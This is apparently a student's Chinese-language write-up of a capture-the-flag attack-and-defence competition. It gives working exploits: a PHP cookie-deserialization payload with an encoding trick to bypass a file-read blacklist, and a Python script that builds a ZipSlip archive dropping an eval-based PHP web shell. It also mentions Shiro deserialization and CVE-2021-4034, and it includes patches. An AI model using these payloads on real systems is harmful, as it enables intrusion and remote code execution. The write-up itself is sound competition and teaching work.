一、开头废话

我是个fw,_| ̄|○,这场比赛8个小时,只有下午的isw的前两个小时是我的有效做题时间是的,我只写出来了shiro,其余时间都在坐牢。最后靠着学长在awdp修了一道MediaDrive拿了三等奖。

二、复盘

1.MediaDrive

Break

用seay审计源码

查看这三个文件,你会发现他们都有

1
2
3
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}

这是cookie反序列化,同时在preview.php中存在任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);

我们可以从代码中知道, @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);会将原始目录转换成utf-8,并忽略无法转换的字符,但是,在User.php中

1
2
3
4
5
6
7
8
9
10
11
12
<?php
declare(strict_types=1);

class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

我们可以修改以下语句读flag

  1. public string $encoding = "UTF-8",UTF-8换成UTF-7,在flag中夹杂utf-8无法识别的字符串绕过黑名单,比如fl%91ag
  2. public string $basePath = "/var/www/html/uploads/";basePath换成/,用来读flag

于是exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
declare(strict_types=1);

class User {
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

$a=new User();
echo urlencode(serialize($a));

得到:O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

最后preview.php?f=fl%91ag

flag{da151b21-e9a3-4586-a04d-ed7ecbad48f8}

fix

有一个比较取巧的方法,$rawPath = $user->basePath . $f;它是提取User类中的$basePath,而$basePath是可以通过序列化修改的。所以,我们可以将其改成$rawPath = '/var/www/html/uploads/' . $f;焊死文件读取路径,让主办方的check脚本无法读flag。

2.easy_time

break

查看源码,发现有两个服务(php,python)大概率可以ssrf。

分析index.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def fetch_remote_avatar_info(url: str):
if not url:
return None

parsed = urllib.parse.urlparse(url)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None

req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})


try:
with urllib.request.urlopen(req, timeout=3) as resp:
content = resp.read()
return {
"content_snippet": content,
"status": getattr(resp, "status", None),
"content_type": resp.headers.get("Content-Type", ""),
"content_length": resp.headers.get("Content-Length", ""),
}
except Exception:
return None

函数fetch_remote_avatar_info可以打ssrf,印证了上文的说法

不过,有趣的是,主办方在zip上传相关中,给了两个截然不同的函数safe_extract_zipsafe_upload,其中,你可以看到safe_extract_zip函数具备完整的zipslip防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def safe_extract_zip(zip_path: Path, dest_dir: Path) -> list[str]:
dest_dir = dest_dir.resolve()
extracted = []

with zipfile.ZipFile(zip_path, "r") as zf:
for info in zf.infolist():
name = info.filename.replace("\\", "/")

if name.endswith("/"):
continue

if name.startswith("/") or (len(name) >= 2 and name[1] == ":"):
raise ValueError("Illegal path in zip")

target = (dest_dir / name).resolve()
if os.path.commonpath([str(dest_dir), str(target)]) != str(dest_dir):
raise ValueError("ZipSlip blocked")

target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)

extracted.append(str(target.relative_to(dest_dir)))

return extracted

但是,safe_upload没有任何防护

1
2
3
4
5
6
7
8
9
10
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename)
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))

重点来了,在后面的web服务中,它只用safe_upload,我不明白(奉化音)它为什么不用防护拉满的safe_extract_zip不管了,有洞不钻是SB总之,打zipslip

有exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import zipfile
import io

def zip_creat():
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as zip:
path= '../../../var/www/html/1.php'
content=b"""
<?php
@eval($_GET[1]);
?>
"""
zip.writestr(path, content)
with open("payload.zip", "wb") as f:
f.write(buffer.getvalue())

if __name__ == '__main__':
zip_creat()

前面的的登录环节没什么可说的,爆破就行

后面就是在插件上传上传zip

打ssrf

不过,flag比较难找,在tmp里

flag{789f537c-278d-4c1e-9b86-d42c4b5ca87f

fix

修好办,换函数即可

这是我在本地起的服务,我认为防护成功

哎,补兑!

整个解法下来,和time也没关系啊∑(O_O;) 不会是非预期罢……

3.isw0

flag1

shiro反序列化

flag2

CVE-2021-4034